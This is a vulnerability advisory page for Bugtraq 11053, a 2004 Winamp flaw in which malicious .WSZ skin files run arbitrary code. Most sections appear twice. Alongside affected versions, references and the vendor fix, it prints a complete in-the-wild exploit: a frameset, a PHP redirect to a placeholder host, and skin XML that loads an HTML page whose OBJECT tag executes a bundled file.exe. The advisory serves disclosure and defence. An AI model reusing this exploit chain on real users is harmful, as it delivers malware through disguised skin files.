NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
BID:11053
Info
NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
| Bugtraq ID: | 11053 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 26 2004 12:00AM |
| Updated: | Aug 26 2004 12:00AM |
| Credit: | An exploit for this issue was found in the wild, it is unknown who initially discovered the vulnerability. |
| Vulnerable: |
NullSoft Winamp 5.0 4 NullSoft Winamp 5.0 3 NullSoft Winamp 5.0 2 NullSoft Winamp 5.0 1 NullSoft Winamp 3.1 NullSoft Winamp 3.0 NullSoft Winamp 2.91 NullSoft Winamp 2.81 NullSoft Winamp 2.80 NullSoft Winamp 2.79 NullSoft Winamp 2.78 NullSoft Winamp 2.77 NullSoft Winamp 2.76 NullSoft Winamp 2.75 NullSoft Winamp 2.74 NullSoft Winamp 2.73 (full) NullSoft Winamp 2.73 NullSoft Winamp 2.72 NullSoft Winamp 2.71 NullSoft Winamp 2.70 (full) NullSoft Winamp 2.70 NullSoft Winamp 2.65 NullSoft Winamp 2.64 (standard) NullSoft Winamp 2.62 (standard) NullSoft Winamp 2.61 (full) NullSoft Winamp 2.60 (lite) NullSoft Winamp 2.60 (full) NullSoft Winamp 2.50 NullSoft Winamp 2.24 NullSoft Winamp 2.10 NullSoft Winamp 2.6 4 NullSoft Winamp 2.5 E NullSoft Winamp 2.5 e NullSoft Winamp 2.4 |
| Not Vulnerable: |
NullSoft Winamp 5.0 5 |
Discussion
NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.
This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.
This vulnerability is reported to affect all versions of Winamp up to and including 5.04.
A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.
This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.
This vulnerability is reported to affect all versions of Winamp up to and including 5.04.
Exploit / POC
NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
This issue is known to be exploited in the wild.
The following exploit example is available:
index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>
foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml
/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>
/xml/includes.xml
-------------------
<include file="player.xml"/>
/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>
/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>
/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>
<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>
This issue is known to be exploited in the wild.
The following exploit example is available:
index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>
Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>
foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml
/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>
/xml/includes.xml
-------------------
<include file="player.xml"/>
/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>
/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>
/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>
<include file="xml/includes.xml"/>
<!--
-->
</WinampAbstractionLayer>
Solution / Fix
NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
Solution:
The vendor has released an upgrade dealing with this issue. This issue has been dealt with by prompting a user prior to installing any skins as well as extracting skin files that are low risk. Please see the referenced web advisory for more information.
NullSoft Winamp 2.10
NullSoft Winamp 2.24
NullSoft Winamp 2.4
NullSoft Winamp 2.5 E
NullSoft Winamp 2.5 e
NullSoft Winamp 2.50
NullSoft Winamp 2.6 4
NullSoft Winamp 2.60 (full)
NullSoft Winamp 2.60 (lite)
NullSoft Winamp 2.61 (full)
NullSoft Winamp 2.62 (standard)
NullSoft Winamp 2.64 (standard)
NullSoft Winamp 2.65
NullSoft Winamp 2.70
NullSoft Winamp 2.70 (full)
NullSoft Winamp 2.71
NullSoft Winamp 2.72
NullSoft Winamp 2.73
NullSoft Winamp 2.73 (full)
NullSoft Winamp 2.74
NullSoft Winamp 2.75
NullSoft Winamp 2.76
NullSoft Winamp 2.77
NullSoft Winamp 2.78
NullSoft Winamp 2.79
NullSoft Winamp 2.80
NullSoft Winamp 2.81
NullSoft Winamp 2.91
NullSoft Winamp 3.0
NullSoft Winamp 3.1
NullSoft Winamp 5.0 2
NullSoft Winamp 5.0 3
NullSoft Winamp 5.0 4
NullSoft Winamp 5.0 1
Solution:
The vendor has released an upgrade dealing with this issue. This issue has been dealt with by prompting a user prior to installing any skins as well as extracting skin files that are low risk. Please see the referenced web advisory for more information.
NullSoft Winamp 2.10
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.24
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.4
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.5 E
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.5 e
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.50
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.6 4
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.60 (full)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.60 (lite)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.61 (full)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.62 (standard)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.64 (standard)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.65
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.70
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.70 (full)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.71
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.72
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.73
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.73 (full)
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.74
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.75
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.76
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.77
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.78
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.79
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.80
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.81
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 2.91
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 3.0
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 3.1
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 5.0 2
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 5.0 3
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 5.0 4
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
NullSoft Winamp 5.0 1
-
NullSoft Winamp 5.05
http://www.winamp.com/player/
References
NullSoft Winamp .WSZ File Remote Code Execution Vulnerability
References:
References:
- Winamp <=5.04 Skin File (.wsz) Remote Code Execution Exploit (K-OTik Security)
- Winamp Home Page (NullSoft)
- Winamp Security Bulletin Aug. 27 2004 (Nullsoft)
- 0day critical vulnerability/exploit targets Winamp users in the wild (K-OTiK Security
)